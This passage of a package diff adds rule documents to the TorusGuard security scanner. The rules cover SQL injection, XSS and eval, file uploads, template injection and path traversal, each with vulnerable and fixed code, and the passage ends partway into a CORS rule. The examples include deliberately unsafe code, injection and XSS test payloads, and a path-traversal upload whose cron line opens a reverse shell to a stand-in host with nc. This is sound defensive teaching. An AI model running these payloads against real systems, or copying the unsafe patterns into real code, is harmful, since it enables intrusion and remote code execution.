  313. package/skills/torusguard/payload/rules/TG-SEC-003-tracked-env-file.md +79 -0
  314. package/skills/torusguard/payload/rules/TG-SEC-004-sensitive-logging.md +83 -0
  315. package/skills/torusguard/payload/rules/active/TG-AUTH-001-weak-password-storage.md +103 -0
  316. package/skills/torusguard/payload/rules/active/TG-AUTH-002-client-only-authorization.md +85 -0
  317. package/skills/torusguard/payload/rules/active/TG-AUTH-003-missing-object-authorization.md +85 -0
  318. package/skills/torusguard/payload/rules/active/TG-AUTH-004-insecure-session-cookie.md +96 -0
  319. package/skills/torusguard/payload/rules/active/TG-AUTH-005-unsafe-password-reset.md +104 -0
  320. package/skills/torusguard/payload/rules/active/TG-CLIENT-001-public-production-source-maps.md +102 -0
  321. package/skills/torusguard/payload/rules/active/TG-CLIENT-002-sensitive-client-bundle-content.md +102 -0
  322. package/skills/torusguard/payload/rules/active/TG-DB-001-frontend-database-query.md +83 -0
  323. package/skills/torusguard/payload/rules/active/TG-DB-002-privileged-database-credential.md +86 -0
  324. package/skills/torusguard/payload/rules/active/TG-DB-003-frontend-admin-sdk.md +91 -0
  325. package/skills/torusguard/payload/rules/active/TG-DB-004-missing-tenant-query-isolation.md +103 -0
  326. package/skills/torusguard/payload/rules/active/TG-INPUT-001-missing-server-validation.md +98 -0
  327. package/skills/torusguard/payload/rules/active/TG-INPUT-002-raw-sql-concatenation.md +94 -0
  328. package/skills/torusguard/payload/rules/active/TG-INPUT-003-unsafe-html-or-code-execution.md +102 -0
  329. package/skills/torusguard/payload/rules/active/TG-INPUT-004-unrestricted-file-upload.md +92 -0
  330. package/skills/torusguard/payload/rules/active/TG-INPUT-005-unsafe-template-rendering-and-escaping.md +102 -0
  331. package/skills/torusguard/payload/rules/active/TG-INPUT-006-unsafe-file-path-traversal.md +131 -0
  332. package/skills/torusguard/payload/rules/active/TG-PLATFORM-001-wildcard-cors-with-credentials.md +101 -0
  333. package/skills/torusguard/payload/rules/active/TG-PLATFORM-002-missing-security-headers.md +95 -0
  334. package/skills/torusguard/payload/rules/active/TG-PLATFORM-003-production-stack-trace-exposure.md +94 -0
  335. package/skills/torusguard/payload/rules/active/TG-PLATFORM-004-missing-request-size-limits.md +102 -0
  336. package/skills/torusguard/payload/rules/active/TG-RATE-001-unlimited-auth-endpoint.md +112 -0
  337. package/skills/torusguard/payload/rules/active/TG-RATE-002-unlimited-public-write-endpoint.md +109 -0
  338. package/skills/torusguard/payload/rules/active/TG-RATE-003-unbounded-resource-consumption.md +105 -0
  339. package/skills/torusguard/payload/rules/active/TG-SEC-001-hardcoded-secrets.md +83 -0
  340. package/skills/torusguard/payload/rules/active/TG-SEC-002-public-environment-secrets.md +83 -0
  341. package/skills/torusguard/payload/rules/active/TG-SEC-003-tracked-env-file.md +79 -0
  342. package/skills/torusguard/payload/rules/active/TG-SEC-004-sensitive-logging.md +83 -0
  343. package/skills/torusguard/payload/rules/agent/TG-AGENT-001-prompt-injection-system-context.md +56 -0
  344. package/skills/torusguard/payload/rules/agent/TG-AGENT-002-unsafe-tool-dispatch-unsandboxed-execution.md +68 -0
  345. package/skills/torusguard/payload/rules/agent/TG-AGENT-003-broad-mcp-tool-scoping.md +53 -0
  346. package/skills/torusguard/payload/rules/agent/TG-AGENT-004-persistent-memory-cross-session-leakage.md +67 -0
  347. package/skills/torusguard/payload/rules/authorization/TG-AUTH-006-mass-assignment.md +70 -0
  348. package/skills/torusguard/payload/rules/authorization/TG-AUTH-007-missing-property-level-authorization.md +71 -0
  349. package/skills/torusguard/payload/rules/authorization/TG-AUTH-008-untrusted-role-header-injection.md +112 -0
  350. package/skills/torusguard/payload/rules/business-logic/TG-BIZ-001-client-controlled-sensitive-business-value.md +37 -0
  351. package/skills/torusguard/payload/rules/business-logic/TG-BIZ-002-replayable-one-time-operation.md +37 -0
  352. package/skills/torusguard/payload/rules/business-logic/TG-BIZ-003-missing-workflow-state-validation.md +37 -0
  353. package/skills/torusguard/payload/rules/business-logic/TG-BIZ-004-unrestricted-sensitive-business-flow.md +37 -0
  354. package/skills/torusguard/payload/rules/cache/TG-CACHE-001-sensitive-response-publicly-cacheable.md +37 -0
  355. package/skills/torusguard/payload/rules/cache/TG-CACHE-002-missing-user-cache-isolation.md +37 -0
  356. package/skills/torusguard/payload/rules/cache/TG-CACHE-003-sensitive-data-in-url.md +37 -0
  357. package/skills/torusguard/payload/rules/csrf/TG-CSRF-001-missing-csrf-protection.md +37 -0
  358. package/skills/torusguard/payload/rules/csrf/TG-CSRF-002-unsafe-credentialed-cross-origin-request.md +37 -0
  359. package/skills/torusguard/payload/rules/custom/.gitkeep +1 -0
  360. package/skills/torusguard/payload/rules/custom/README.md +30 -0
  361. package/skills/torusguard/payload/rules/edge/TG-EDGE-001-serverless-global-state-leak.md +83 -0
  362. package/skills/torusguard/payload/rules/edge/TG-EDGE-003-aws-lambda-ephemeral-cold-start.md +76 -0
  363. package/skills/torusguard/payload/rules/graphql/TG-GQL-001-missing-query-depth-or-complexity-limits.md +64 -0
  364. package/skills/torusguard/payload/rules/graphql/TG-GQL-002-resolver-missing-authorization.md +37 -0
  365. package/skills/torusguard/payload/rules/graphql/TG-GQL-003-unbounded-graphql-pagination-or-batching.md +37 -0
  366. package/skills/torusguard/payload/rules/graphql/TG-GQL-004-unnecessary-production-introspection.md +37 -0
  367. package/skills/torusguard/payload/rules/secrets/TG-SEC-005-secret-in-git-history.md +37 -0
  368. package/skills/torusguard/payload/rules/secrets/TG-SEC-006-secret-in-build-artifact.md +37 -0
  369. package/skills/torusguard/payload/rules/secrets/TG-SEC-007-secret-in-test-or-example-fixture.md +37 -0
  370. package/skills/torusguard/payload/rules/ssrf/TG-SSRF-001-user-controlled-server-side-url-fetch.md +68 -0
  371. package/skills/torusguard/payload/rules/ssrf/TG-SSRF-002-missing-internal-network-protection.md +37 -0
  372. package/skills/torusguard/payload/rules/ssrf/TG-SSRF-003-unsafe-redirect-following.md +37 -0
  373. package/skills/torusguard/payload/rules/ssrf/TG-SSRF-004-unbounded-outbound-request.md +37 -0
  374. package/skills/torusguard/payload/rules/supply-chain/TG-SUPPLY-001-missing-or-ignored-dependency-lockfile.md +37 -0
  375. package/skills/torusguard/payload/rules/supply-chain/TG-SUPPLY-002-vulnerable-dependency-review-missing.md +94 -0
  376. package/skills/torusguard/payload/rules/supply-chain/TG-SUPPLY-003-unsafe-ci-cd-secret-exposure.md +37 -0
  377. package/skills/torusguard/payload/rules/supply-chain/TG-SUPPLY-004-unpinned-ci-action.md +37 -0
  378. package/skills/torusguard/payload/rules/supply-chain/TG-SUPPLY-005-unsafe-dependency-install-script.md +37 -0
  379. package/skills/torusguard/payload/rules/supply-chain/TG-SUPPLY-006-container-build-secret-persistence.md +61 -0
  380. package/skills/torusguard/payload/rules/webhook/TG-WEBHOOK-001-missing-webhook-signature-verification.md +37 -0
  381. package/skills/torusguard/payload/rules/webhook/TG-WEBHOOK-002-replayable-webhook.md +37 -0
  382. package/skills/torusguard/payload/rules/webhook/TG-WEBHOOK-003-missing-webhook-idempotency.md +37 -0
  383. package/skills/torusguard/payload/rules/webhook/TG-WEBHOOK-004-unvalidated-webhook-event-type.md +37 -0
  384. package/skills/torusguard/payload/rules/websocket/TG-WS-001-unauthenticated-websocket-handshake.md +82 -0
  385. package/skills/torusguard/payload/rules/websocket/TG-WS-002-missing-channel-level-authorization.md +37 -0
  386. package/skills/torusguard/payload/rules/websocket/TG-WS-003-unvalidated-websocket-message.md +37 -0
  387. package/skills/torusguard/payload/rules/websocket/TG-WS-004-unbounded-websocket-connections.md +37 -0
  388. package/skills/torusguard/payload/schemas/golden-recipe.schema.json +75 -0
  389. package/skills/torusguard/payload/scripts/apply_runner.py +332 -0
  390. package/skills/torusguard/payload/scripts/audit_runner.py +550 -0
  391. package/skills/torusguard/payload/scripts/diff_guard.py +183 -8
  392. package/skills/torusguard/payload/scripts/finding_scorer.py +91 -5
  393. package/skills/torusguard/payload/scripts/harden_runner.py +353 -0
  394. package/skills/torusguard/payload/scripts/html_reporter.py +643 -0
  395. package/skills/torusguard/payload/scripts/manifest_builder.py +7 -5
  396. package/skills/torusguard/payload/scripts/memory_engine.py +525 -99
  397. package/skills/torusguard/payload/scripts/monorepo_detector.py +123 -10
  398. package/skills/torusguard/payload/scripts/recheck_runner.py +221 -0
  399. package/skills/torusguard/payload/scripts/recipes_runner.py +130 -0
  400. package/skills/torusguard/payload/scripts/rules_sync.py +321 -0
  401. package/skills/torusguard/payload/scripts/run_manager.py +17 -5
  402. package/skills/torusguard/payload/scripts/stack_detect.py +458 -26
  403. package/skills/torusguard/payload/skills/torusguard/SKILL.md +42 -42
  404. package/skills/torusguard/payload/skills/torusguard/bootstrap.py +149 -70
  405. package/skills/torusguard/payload/skills/torusguard/references/csharp-security.md +41 -0
  406. package/skills/torusguard/payload/skills/torusguard/references/go-security.md +41 -0
  407. package/skills/torusguard/payload/skills/torusguard/references/java-security.md +40 -0
  408. package/skills/torusguard/payload/skills/torusguard/references/polyglot-security-matrix.md +25 -0
  409. package/skills/torusguard/payload/skills/torusguard/references/rust-security.md +40 -0
  410. package/.torusguard/scripts/__pycache__/diff_guard.cpython-311.pyc +0 -0
  411. package/skills/torusguard/__pycache__/bootstrap.cpython-311.pyc +0 -0
@@ -0,0 +1,94 @@
1
+ # TG-INPUT-002: Raw SQL Concatenation
2
+
3
+ ## Severity
4
+ Critical
5
+
6
+ ## Applies To
7
+ - Backend services that execute SQL queries
8
+ - Scripts and cron jobs that build dynamic SQL
9
+ - Data export/reporting endpoints with filters and sorting
10
+ - Administrative tooling with direct database access
11
+
12
+ ## Why It Matters
13
+ Concatenating untrusted input into SQL statements allows SQL injection, one of the highest-impact application vulnerabilities.
14
+ Successful exploitation can expose sensitive records, bypass authentication checks, modify or delete data, and in some environments execute database-level administrative operations.
15
+ Even read-only endpoints can become a pivot for full data exfiltration when query construction is unsafe.
16
+
17
+ ## What TorusGuard Looks For
18
+ - String interpolation or concatenation inside SQL query text using request-derived data.
19
+ - Dynamic `WHERE`, `ORDER BY`, `LIMIT`, or table-name fragments assembled from raw user input.
20
+ - Use of low-level query APIs without bind parameters.
21
+ - Sanitization-only approaches (replace/escape) used instead of parameterization.
22
+ - Unsafe helper functions that return query strings rather than query templates plus values.
23
+
24
+ ## Unsafe Example
25
+ ```js
26
+ app.get("/api/orders", async (req, res) => {
27
+ const customerId = req.query.customerId;
28
+ const sort = req.query.sort || "created_at DESC";
29
+
30
+ // Both customerId and sort are attacker-controlled
31
+ const sql =
32
+ "SELECT id, total, created_at FROM orders " +
33
+ "WHERE customer_id = '" + customerId + "' " +
34
+ "ORDER BY " + sort;
35
+
36
+ const rows = await db.query(sql);
37
+ res.json({ ok: true, orders: rows });
38
+ });
39
+ ```
40
+
41
+ ## Safe Example
42
+ ```js
43
+ const SORT_COLUMNS = new Map([
44
+ ["newest", "created_at DESC"],
45
+ ["oldest", "created_at ASC"],
46
+ ["total_high", "total DESC"],
47
+ ["total_low", "total ASC"]
48
+ ]);
49
+
50
+ app.get("/api/orders", async (req, res) => {
51
+ const customerId = String(req.query.customerId || "");
52
+ const sortKey = String(req.query.sort || "newest");
53
+ const sortSql = SORT_COLUMNS.get(sortKey);
54
+
55
+ if (!sortSql || !/^[a-f0-9-]{36}$/.test(customerId)) {
56
+ return res.status(400).json({ ok: false, error: "Invalid query parameters" });
57
+ }
58
+
59
+ const sql = `
60
+ SELECT id, total, created_at
61
+ FROM orders
62
+ WHERE customer_id = $1
63
+ ORDER BY ${sortSql}
64
+ `;
65
+
66
+ const rows = await db.query(sql, [customerId]);
67
+ res.json({ ok: true, orders: rows });
68
+ });
69
+ ```
70
+
71
+ ## Remediation
72
+ 1. Replace all string-built SQL with parameterized queries or prepared statements.
73
+ 2. Bind user input as values, never as SQL syntax fragments.
74
+ 3. For dynamic sorting/filtering, map user options to fixed allowlisted SQL snippets.
75
+ 4. Restrict database account privileges to least privilege to reduce blast radius.
76
+ 5. Add static analysis and code review checks that ban raw concatenated SQL.
77
+ 6. Cover injection payloads in automated tests for every query endpoint.
78
+
79
+ ## Verification
80
+ - Search for query construction using template interpolation with request variables.
81
+ - Attempt payloads such as `' OR '1'='1` and confirm they are treated as literal values.
82
+ - Verify sort/filter options accept only predefined keys.
83
+ - Review database logs for rejected malformed statements and suspicious patterns.
84
+ - Confirm all DB access layers support parameter binding and are consistently used.
85
+
86
+ ## False Positives and Exceptions
87
+ - Hardcoded SQL strings with no untrusted input are generally safe.
88
+ - Migration files may contain dynamic SQL for schema operations; these are acceptable if not user-influenced.
89
+ - Internal ETL code can still be vulnerable if source data is not trusted; do not auto-exempt.
90
+
91
+ ## Related Rules
92
+ - [TG-INPUT-001](./TG-INPUT-001-missing-server-validation.md)
93
+ - [TG-INPUT-003](./TG-INPUT-003-unsafe-html-or-code-execution.md)
94
+ - [TG-AUTH-003](./TG-AUTH-003-missing-object-authorization.md)
@@ -0,0 +1,102 @@
1
+ # TG-INPUT-003: Unsafe HTML Rendering or Code Execution
2
+
3
+ ## Severity
4
+ High
5
+
6
+ ## Applies To
7
+ - Server-side rendering pipelines
8
+ - Rich text/comment rendering features
9
+ - Template engines and markdown-to-HTML converters
10
+ - Dynamic expression evaluators and script execution utilities
11
+
12
+ ## Why It Matters
13
+ When untrusted content is rendered as HTML without sanitization, attackers can inject scripts and trigger stored or reflected XSS.
14
+ When untrusted input reaches evaluators such as `eval`, `Function`, or shell execution helpers, remote code execution and server compromise become possible.
15
+ These flaws frequently lead to session theft, account takeover, and full application compromise.
16
+
17
+ ## What TorusGuard Looks For
18
+ - Use of dangerous rendering APIs such as `innerHTML`, `dangerouslySetInnerHTML`, or unsanitized template output.
19
+ - Markdown or rich text conversion with unsafe options enabled.
20
+ - Invocation of `eval`, `new Function`, VM contexts, or command execution with user-controlled fragments.
21
+ - Security filters that rely only on regex stripping of script tags.
22
+ - User content stored and later rendered in privileged admin views.
23
+
24
+ ## Unsafe Example
25
+ ```js
26
+ app.post("/api/notes/preview", (req, res) => {
27
+ const body = req.body.content;
28
+
29
+ // Stored then rendered unsafely
30
+ const html = `<article>${body}</article>`;
31
+ res.send(html);
32
+ });
33
+
34
+ app.post("/api/calc", (req, res) => {
35
+ const expression = req.body.expression;
36
+
37
+ // User controls executed code
38
+ const result = eval(expression);
39
+ res.json({ ok: true, result });
40
+ });
41
+ ```
42
+
43
+ ## Safe Example
44
+ ```js
45
+ import sanitizeHtml from "sanitize-html";
46
+
47
+ app.post("/api/notes/preview", (req, res) => {
48
+ const content = String(req.body.content || "");
49
+ const safe = sanitizeHtml(content, {
50
+ allowedTags: ["p", "b", "i", "strong", "em", "ul", "ol", "li", "a", "code", "pre"],
51
+ allowedAttributes: { a: ["href", "title"] },
52
+ allowedSchemes: ["http", "https", "mailto"]
53
+ });
54
+
55
+ res.send(`<article>${safe}</article>`);
56
+ });
57
+
58
+ app.post("/api/calc", (req, res) => {
59
+ const op = String(req.body.op || "");
60
+ const left = Number(req.body.left);
61
+ const right = Number(req.body.right);
62
+
63
+ if (!Number.isFinite(left) || !Number.isFinite(right)) {
64
+ return res.status(400).json({ ok: false, error: "Invalid numeric input" });
65
+ }
66
+
67
+ const operations = {
68
+ add: (a, b) => a + b,
69
+ sub: (a, b) => a - b,
70
+ mul: (a, b) => a * b,
71
+ div: (a, b) => (b === 0 ? null : a / b)
72
+ };
73
+
74
+ if (!operations[op]) return res.status(400).json({ ok: false, error: "Unsupported operation" });
75
+ res.json({ ok: true, result: operations[op](left, right) });
76
+ });
77
+ ```
78
+
79
+ ## Remediation
80
+ 1. Treat all user-controlled text as untrusted until sanitized for the target context.
81
+ 2. Use maintained HTML sanitizers with explicit allowlists for tags and attributes.
82
+ 3. Ban runtime code execution functions (`eval`, `Function`, shell interpolation) in request paths.
83
+ 4. Replace expression execution with constrained allowlisted operations.
84
+ 5. Enforce contextual output encoding in templates and frontend rendering layers.
85
+ 6. Add CSP and defense-in-depth controls, but do not treat them as primary mitigation.
86
+
87
+ ## Verification
88
+ - Submit payloads containing event handlers, script tags, and `javascript:` URLs.
89
+ - Confirm rendered output strips unsafe elements and attributes.
90
+ - Attempt expression payloads like `process.env` and verify they are rejected.
91
+ - Run security tests for stored and reflected rendering flows, including admin pages.
92
+ - Ensure static analysis flags prohibited runtime execution APIs.
93
+
94
+ ## False Positives and Exceptions
95
+ - Trusted, static CMS content curated by privileged staff may allow richer HTML if isolated and sanitized by policy.
96
+ - Template literals are not inherently unsafe; only sinks that interpret HTML/code create risk.
97
+ - Sandboxed code execution environments still require strict resource and capability restrictions.
98
+
99
+ ## Related Rules
100
+ - [TG-INPUT-001](./TG-INPUT-001-missing-server-validation.md)
101
+ - [TG-INPUT-002](./TG-INPUT-002-raw-sql-concatenation.md)
102
+ - [TG-AUTH-004](./TG-AUTH-004-insecure-session-cookie.md)
@@ -0,0 +1,92 @@
1
+ # TG-INPUT-004: Unrestricted File Upload
2
+
3
+ ## Severity
4
+ High
5
+
6
+ ## Applies To
7
+ - Profile avatar and document upload endpoints
8
+ - Media management APIs and admin upload tools
9
+ - Import features that accept archives or spreadsheets
10
+ - Object storage presigned upload workflows
11
+
12
+ ## Why It Matters
13
+ Unrestricted uploads let attackers store executable scripts, malware, oversized payloads, and deceptive file types.
14
+ If uploaded files are publicly accessible or processed unsafely, attackers can trigger XSS, remote code execution, SSRF through parsers, or storage exhaustion denial of service.
15
+ Weak upload controls also create legal and compliance risk when sensitive content is mishandled.
16
+
17
+ ## What TorusGuard Looks For
18
+ - Acceptance based only on filename extension or client-provided MIME type.
19
+ - Missing maximum file size, count, or rate limits.
20
+ - Uploading directly to web-served directories without safe naming.
21
+ - Lack of malware scanning or content-type verification by signature.
22
+ - Processing of complex formats without sandboxing and strict parser limits.
23
+
24
+ ## Unsafe Example
25
+ ```js
26
+ app.post("/api/upload", upload.single("file"), async (req, res) => {
27
+ const file = req.file;
28
+
29
+ // Trusts original name and MIME from client
30
+ const destination = path.join(__dirname, "public/uploads", file.originalname);
31
+ await fs.promises.writeFile(destination, file.buffer);
32
+
33
+ // Public URL serves whatever was uploaded
34
+ res.json({ ok: true, url: `/uploads/${file.originalname}` });
35
+ });
36
+ ```
37
+
38
+ ## Safe Example
39
+ ```js
40
+ import crypto from "crypto";
41
+ import FileType from "file-type";
42
+
43
+ const MAX_SIZE = 5 * 1024 * 1024;
44
+ const ALLOWED = new Set(["image/png", "image/jpeg", "application/pdf"]);
45
+
46
+ app.post("/api/upload", upload.single("file"), async (req, res) => {
47
+ const file = req.file;
48
+ if (!file || file.size > MAX_SIZE) {
49
+ return res.status(400).json({ ok: false, error: "Invalid file size" });
50
+ }
51
+
52
+ const detected = await FileType.fromBuffer(file.buffer);
53
+ const mime = detected?.mime || "";
54
+ if (!ALLOWED.has(mime)) {
55
+ return res.status(400).json({ ok: false, error: "Unsupported file type" });
56
+ }
57
+
58
+ const extension = mime === "image/png" ? "png" : mime === "image/jpeg" ? "jpg" : "pdf";
59
+ const storedName = `${crypto.randomUUID()}.${extension}`;
60
+ const storagePath = path.join(__dirname, "private_uploads", storedName);
61
+
62
+ await fs.promises.writeFile(storagePath, file.buffer, { mode: 0o600 });
63
+ await queueForMalwareScan(storagePath);
64
+
65
+ res.json({ ok: true, fileId: storedName });
66
+ });
67
+ ```
68
+
69
+ ## Remediation
70
+ 1. Enforce strict allowlists for file type, extension, and verified signature/MIME.
71
+ 2. Set max size, max count, and upload rate limits per user and per endpoint.
72
+ 3. Store files outside web root with generated names, never original filenames.
73
+ 4. Scan uploaded content with malware detection before making files retrievable.
74
+ 5. Re-validate file safety at retrieval and transformation points (thumbnailing, OCR, parsing).
75
+ 6. Use presigned uploads with constrained policies and short expirations where applicable.
76
+
77
+ ## Verification
78
+ - Upload files with double extensions (`.jpg.php`) and mismatched MIME signatures.
79
+ - Attempt oversized and high-frequency uploads to validate throttling and limits.
80
+ - Confirm stored filenames are non-guessable and not user-controlled.
81
+ - Verify uploaded objects cannot be executed as active content by browsers.
82
+ - Ensure parser pipelines reject malformed archives and nested compression bombs.
83
+
84
+ ## False Positives and Exceptions
85
+ - Internal-only transfer channels with signed artifacts may permit broader file types, but must still enforce size and scanning controls.
86
+ - Some media pipelines rely on asynchronous scanning; temporary quarantine states are acceptable with blocked access until scan completion.
87
+ - Legacy endpoints may need phased migration, but unrestricted direct serving is not acceptable long term.
88
+
89
+ ## Related Rules
90
+ - [TG-INPUT-001](./TG-INPUT-001-missing-server-validation.md)
91
+ - [TG-INPUT-003](./TG-INPUT-003-unsafe-html-or-code-execution.md)
92
+ - [TG-AUTH-004](./TG-AUTH-004-insecure-session-cookie.md)
@@ -0,0 +1,102 @@
1
+ ---
2
+ id: TG-INPUT-005
3
+ title: Unsafe Template Rendering & Disabled Autoescaping
4
+ category: input-validation-encoding
5
+ severity: High
6
+ confidence: Confirmed
7
+ frameworks:
8
+ - django
9
+ - flask
10
+ - fastapi
11
+ cwe: CWE-79
12
+ asvs_v4: V5.3.3
13
+ nist_ssdf: PW.5.1
14
+ ---
15
+
16
+ # TG-INPUT-005: Unsafe Template Rendering & Disabled Autoescaping
17
+
18
+ ## 🚨 Problem Statement
19
+ Rendering user-controlled input directly into templates without context-aware escaping (e.g., using `render_template_string` or explicitly disabling escaping with `|safe` or `mark_safe`) allows attackers to inject malicious HTML, JavaScript, or server-side template directives.
20
+
21
+ > **Tuning Guardrails (v0.5.6):**
22
+ > - **DISTINGUISH** direct unsafe rendering from framework-managed autoescaped template rendering (e.g., passing context variables to `render_template("foo.html", var=x)`).
23
+ > - **DO NOT flag** safe templating utilities or correctly escaped output paths.
24
+ > - **FLAG ONLY** when unsafe rendering, disabled escaping, `mark_safe`, `|safe`, or dynamic template execution is materially relevant.
25
+
26
+ ---
27
+
28
+ ## 💥 Adversarial Threat & Exploitation
29
+ 1. **Server-Side Template Injection (Flask / Jinja2):**
30
+ ```python
31
+ # Unsafe Flask SSTI
32
+ @app.route("/greet")
33
+ def greet():
34
+ name = request.args.get("name")
35
+ template = f"<h1>Hello {name}</h1>"
36
+ return render_template_string(template) # RCE via {{ 7*7 }} or {{ config.__class__... }}
37
+ ```
38
+ 2. **Cross-Site Scripting (Django / Jinja2):**
39
+ ```python
40
+ # Unsafe Django mark_safe
41
+ from django.utils.safestring import mark_safe
42
+
43
+ def comment_view(request):
44
+ user_comment = request.POST.get("comment")
45
+ # Bypasses HTML escaping
46
+ html_output = mark_safe(f"<div class='comment'>{user_comment}</div>")
47
+ return HttpResponse(html_output)
48
+ ```
49
+
50
+ ---
51
+
52
+ ## 🛠️ Framework-Native Remediations
53
+
54
+ ### 🐍 Flask / Jinja2 (Safe Parameter Passing)
55
+
56
+ #### ❌ Unsafe Pattern
57
+ ```python
58
+ # Unsafe: Concatenating input into template string
59
+ return render_template_string(f"Hello {user_input}")
60
+ ```
61
+
62
+ #### ✅ Safe Remediation
63
+ ```python
64
+ # Safe: Pass input as context variable to autoescaped template file
65
+ from flask import render_template
66
+
67
+ @app.route("/greet")
68
+ def greet():
69
+ name = request.args.get("name", "")
70
+ return render_template("greet.html", name=name) # Automatically HTML-escaped by Jinja2
71
+ ```
72
+
73
+ ---
74
+
75
+ ### 🐍 Django (Template Context & `format_html`)
76
+
77
+ #### ❌ Unsafe Pattern
78
+ ```python
79
+ # Unsafe: mark_safe on unescaped input string
80
+ return HttpResponse(mark_safe(f"<b>Welcome, {username}</b>"))
81
+ ```
82
+
83
+ #### ✅ Safe Remediation
84
+ ```python
85
+ # Safe: Use format_html for conditional safe markup with autoescaped arguments
86
+ from django.utils.html import format_html
87
+
88
+ def welcome_view(request):
89
+ username = request.GET.get("username", "")
90
+ # format_html escapes variables while preserving the fixed HTML wrapper
91
+ safe_markup = format_html("<b>Welcome, {}</b>", username)
92
+ return HttpResponse(safe_markup)
93
+ ```
94
+
95
+ ---
96
+
97
+ ## 🧪 Verification & Reproduction
98
+ 1. Submit XSS payload:
99
+ ```bash
100
+ curl "http://localhost:5000/greet?name=%3Cscript%3Ealert(1)%3C/script%3E"
101
+ ```
102
+ 2. **Assertion:** Response body must contain HTML entity encoded characters (`&lt;script&gt;alert(1)&lt;/script&gt;`) and must NOT execute raw tags.
@@ -0,0 +1,131 @@
1
+ ---
2
+ id: TG-INPUT-006
3
+ title: Path Traversal and Unsafe Upload Storage
4
+ category: file-upload-handling
5
+ severity: Critical
6
+ confidence: Confirmed
7
+ frameworks:
8
+ - django
9
+ - flask
10
+ - fastapi
11
+ cwe: CWE-22
12
+ asvs_v4: V12.1.1
13
+ nist_ssdf: PW.5.1
14
+ ---
15
+
16
+ # TG-INPUT-006: Path Traversal and Unsafe Upload Storage
17
+
18
+ ## 🚨 Problem Statement
19
+ Concatenating untrusted user input directly into file system paths without canonicalization or validation allows attackers to traverse directory boundaries (e.g., `../../etc/passwd`) and read or overwrite arbitrary files on the host system.
20
+
21
+ > **Tuning Guardrails (v0.5.6):**
22
+ > - **DO NOT treat** every `os.path.join()` as path traversal.
23
+ > - **ESCALATE** when untrusted filename/path input reaches file path construction or storage without canonicalization, allowlisting, sanitization (e.g., `secure_filename`), or safe generated naming.
24
+ > - **RECOGNIZE** project-approved filename normalization wrappers where evidence exists.
25
+
26
+ ---
27
+
28
+ ## 💥 Adversarial Threat & Exploitation
29
+ An attacker uploads a file with a relative path payload:
30
+ ```http
31
+ POST /upload HTTP/1.1
32
+ Content-Disposition: form-data; name="file"; filename="../../../../etc/cron.d/malicious_job"
33
+
34
+ * * * * * root /bin/nc -e /bin/sh attacker.com 4444
35
+ ```
36
+ If the server performs `open(os.path.join(UPLOAD_DIR, file.filename), "wb")`, the file is written to `/etc/cron.d/`, resulting in arbitrary Remote Code Execution (RCE) on the host.
37
+
38
+ ---
39
+
40
+ ## 🛠️ Framework-Native Remediations
41
+
42
+ ### 🐍 Flask (Werkzeug `secure_filename` + UUID Prefix)
43
+
44
+ #### ❌ Unsafe Pattern
45
+ ```python
46
+ # Unsafe: Raw client filename in os.path.join
47
+ @app.route("/upload", methods=["POST"])
48
+ def upload():
49
+ file = request.files["file"]
50
+ filepath = os.path.join(UPLOAD_FOLDER, file.filename)
51
+ file.save(filepath)
52
+ ```
53
+
54
+ #### ✅ Safe Remediation
55
+ ```python
56
+ # Safe: Sanitize with secure_filename and generate a random UUID prefix
57
+ import uuid
58
+ from werkzeug.utils import secure_filename
59
+
60
+ ALLOWED_EXTENSIONS = {".png", ".jpg", ".jpeg", ".pdf"}
61
+
62
+ @app.route("/upload", methods=["POST"])
63
+ def upload():
64
+ file = request.files.get("file")
65
+ if not file:
66
+ return {"error": "No file"}, 400
67
+
68
+ filename = secure_filename(file.filename)
69
+ ext = os.path.splitext(filename)[1].lower()
70
+
71
+ if ext not in ALLOWED_EXTENSIONS:
72
+ return {"error": "Invalid file type"}, 400
73
+
74
+ safe_name = f"{uuid.uuid4().hex}_{filename}"
75
+ filepath = os.path.join(UPLOAD_FOLDER, safe_name)
76
+ file.save(filepath)
77
+ return {"status": "uploaded", "file_id": safe_name}
78
+ ```
79
+
80
+ ---
81
+
82
+ ### 🐍 FastAPI (`UploadFile` & Safe Path Construction)
83
+
84
+ #### ❌ Unsafe Pattern
85
+ ```python
86
+ # Unsafe: Direct path join with upload.filename
87
+ @app.post("/upload")
88
+ async def upload_file(file: UploadFile = File(...)):
89
+ dest = Path("/var/uploads") / file.filename
90
+ with open(dest, "wb") as f:
91
+ f.write(await file.read())
92
+ ```
93
+
94
+ #### ✅ Safe Remediation
95
+ ```python
96
+ # Safe: Whitelist extensions and store using generated UUIDs
97
+ import uuid
98
+ from pathlib import Path
99
+ from fastapi import FastAPI, UploadFile, File, HTTPException
100
+
101
+ UPLOAD_DIR = Path("/var/uploads").resolve()
102
+ ALLOWED_EXT = {".png", ".jpg", ".pdf"}
103
+
104
+ @app.post("/upload")
105
+ async def upload_file(file: UploadFile = File(...)):
106
+ ext = Path(file.filename).suffix.lower()
107
+ if ext not in ALLOWED_EXT:
108
+ raise HTTPException(status_code=400, detail="Disallowed file extension")
109
+
110
+ safe_filename = f"{uuid.uuid4().hex}{ext}"
111
+ destination = (UPLOAD_DIR / safe_filename).resolve()
112
+
113
+ # Assert destination stays within UPLOAD_DIR
114
+ if not str(destination).startswith(str(UPLOAD_DIR)):
115
+ raise HTTPException(status_code=400, detail="Path traversal detected")
116
+
117
+ content = await file.read(10 * 1024 * 1024) # Cap size to 10MB
118
+ with open(destination, "wb") as buffer:
119
+ buffer.write(content)
120
+
121
+ return {"file_id": safe_filename}
122
+ ```
123
+
124
+ ---
125
+
126
+ ## 🧪 Verification & Reproduction
127
+ 1. Test with traversal filename:
128
+ ```bash
129
+ curl -F "file=@test.txt;filename=../../evil.txt" http://localhost:5000/upload
130
+ ```
131
+ 2. **Assertion:** Request must reject with `400 Bad Request` or save strictly inside upload directory as a sanitized UUID without directory traversal.
@@ -0,0 +1,101 @@
1
+ # TG-PLATFORM-001: Wildcard CORS With Credentials
2
+
3
+ ## Severity
4
+
5
+ High
6
+
7
+ ## Applies To
8
+
9
+ - API servers configuring CORS headers
10
+ - Express/Fastify/Nest middleware using `cors()` defaults
11
+ - Reverse proxies and gateways injecting `Access-Control-*` headers
12
+ - Session or cookie-authenticated APIs consumed by browsers
13
+ - Multi-tenant APIs with dynamic origin reflection logic
14
+
15
+ ## Why It Matters
16
+
17
+ Credentialed cross-origin requests require strict origin controls.
18
+ Using wildcard origins with credentials breaks browser security guarantees.
19
+ Misconfigurations can expose authenticated responses to untrusted origins.
20
+ Even partial origin reflection bugs can create cross-site data leakage.
21
+ This often appears as a simple config mistake with severe impact.
22
+
23
+ ## What TorusGuard Looks For
24
+
25
+ - `Access-Control-Allow-Origin: *` combined with `Access-Control-Allow-Credentials: true`
26
